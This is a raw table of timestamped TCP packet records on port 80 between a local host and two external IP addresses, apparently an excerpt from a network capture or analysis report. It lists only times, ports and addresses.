Dec 14, 2024 14:56:31.665306091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.665349007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.665442944 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.665477991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.666429996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.666492939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.666549921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.666588068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.667520046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.667560101 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.667583942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.667619944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.668621063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.668663025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.668715954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.669003010 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.669737101 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.669778109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.669879913 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.670017958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.670845032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.670886993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.670953989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.671061039 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.671962023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.672012091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.672050953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.673063993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.673118114 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.673207045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.673347950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.674164057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.674209118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.674288034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.674437046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.675282955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.675326109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.675421000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.676105022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.676507950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.676588058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.676636934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.676688910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.677551031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.677608967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.677628994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.677663088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.678658962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.678695917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.678766012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.678809881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.679774046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.679836035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.679897070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.679944038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.680850983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.680888891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.680891037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.680922031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.681997061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.682045937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.682111979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.682199955 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.683094978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.683146954 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.683191061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.683233023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.684201002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.684317112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.684361935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.685347080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.685389996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.685467005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.685509920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.686439991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.686481953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.686551094 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.686606884 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.687572002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.687616110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.687689066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.687726974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.688600063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.688652039 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.711401939 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.739892960 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.739955902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.740382910 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.740736961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.740806103 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.741558075 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.742341042 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.742552042 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.742712975 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.743978024 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.744081020 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.744158983 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.745548964 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.745739937 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.745821953 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.747128010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.747237921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.747277975 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.748692036 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.748805046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.748887062 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.750272989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.750402927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.751925945 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.751998901 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.752031088 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.752327919 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.753422022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.753568888 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.753638983 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.754987001 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.755131006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.755235910 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.756567001 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.756648064 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.756685972 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.758131027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.758253098 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.758296013 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.759737968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.759802103 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.760436058 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.761266947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.761374950 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.761442900 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.762300968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.762859106 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.762937069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.763079882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.763128042 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.764430046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.764533043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.764600992 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.766005993 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.766110897 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.766340017 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.767546892 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.767652988 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.767738104 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.769118071 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.769273043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.769354105 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.770731926 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.770800114 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.770952940 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.772389889 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.772500992 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.772559881 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.773843050 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.773983002 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.774214029 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.775444984 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.775566101 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.775634050 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.777025938 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.777096987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.777173042 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.778564930 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.778670073 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.778742075 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.780288935 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.780375004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.780450106 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.781696081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.781821012 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.781913996 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.783380985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.783595085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.783663988 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.784883022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.784977913 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.785054922 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.786541939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.786663055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.786775112 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.787992001 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.788104057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.788163900 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.789560080 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.789675951 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.789741993 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.791162968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.791172981 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.791243076 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.792740107 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.792856932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.792927980 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.794318914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.794329882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.794405937 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.795877934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.795984030 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.796046972 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.797434092 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.797537088 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.797605991 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.799097061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.799195051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.799259901 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.800555944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.800673962 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.800736904 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.802357912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.802691936 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.802783012 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.803730011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.803824902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.803894043 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.805283070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.805402994 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.805501938 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.806848049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.807003021 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.807085991 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.808417082 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.808548927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.808615923 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.809983969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.810106993 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.810209036 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.811575890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.811681032 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.811759949 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.812855005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.812958956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.813016891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.813107014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.813200951 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.813265085 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.813410044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.813496113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.813541889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.814456940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.814512014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.814557076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.814594030 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.814723969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.814865112 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.814924955 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.815459013 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.815521002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.815581083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.815618038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.816302061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.816479921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.816545963 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.817859888 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.817965031 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.818031073 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.818417072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.818454981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.818531036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.818571091 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.818975925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.819109917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.819153070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.819415092 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.819634914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.819704056 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.820096970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.820138931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.820210934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.820311069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.821084023 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.821196079 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.821269035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.821304083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.821350098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.821355104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.821391106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.822325945 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.822372913 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.822415113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.822462082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.823477983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.823602915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.823645115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.824613094 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.824707985 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.824830055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.824870110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.825717926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.825763941 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.825835943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.826105118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.826802015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.826862097 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.826874971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.826911926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.827953100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.828005075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.828073025 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.828402042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.829288006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.829298019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.829334021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.830050945 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.830117941 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.830143929 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.830183983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.831358910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.831401110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.831408978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.831445932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.832298994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.832406044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.832453012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.833431005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.833487034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.833527088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.833561897 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.834554911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.834604979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.834692955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.834841967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.835761070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.835825920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.835850000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.836165905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.836755991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.836879969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.836925983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.837867022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.837913036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.838073015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.838114977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.838963032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.839005947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.839054108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.839092016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.840034962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.840074062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.840105057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.840145111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.841141939 CET	80	49876	31.41.244.11	192.168.2.5
